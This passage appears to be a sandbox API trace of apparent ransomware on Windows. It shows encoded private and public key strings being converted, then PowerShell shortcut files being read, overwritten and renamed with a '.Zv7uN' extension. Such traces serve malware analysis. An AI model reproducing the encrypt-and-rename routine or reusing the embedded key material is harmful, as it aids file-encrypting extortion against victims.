lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.357] GetCurrentThreadId () returned 0xa30 [0132.357] GetCurrentThreadId () returned 0xa30 [0132.357] GetCurrentThreadId () returned 0xa30 [0132.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.358] GetCurrentThreadId () returned 0xa30 [0132.358] GetCurrentThreadId () returned 0xa30 [0132.358] GetCurrentThreadId () returned 0xa30 [0132.358] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.358] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.358] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.359] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x7c5 [0132.359] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.359] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x7c5, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x7c5, lpOverlapped=0x0) returned 1 [0132.384] CloseHandle (hObject=0x1dc) returned 1 [0132.384] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.435] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x7c5, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x7c5, lpOverlapped=0x0) returned 1 [0132.438] CloseHandle (hObject=0x1dc) returned 1 [0132.438] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk.zv7un")) returned 1 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] GetCurrentThreadId () returned 0xa30 [0132.440] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0132.440] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.440] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.440] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc)) returned 1 [0132.441] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk")) returned 0x20 [0132.441] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk", dwFileAttributes=0x80) returned 1 [0132.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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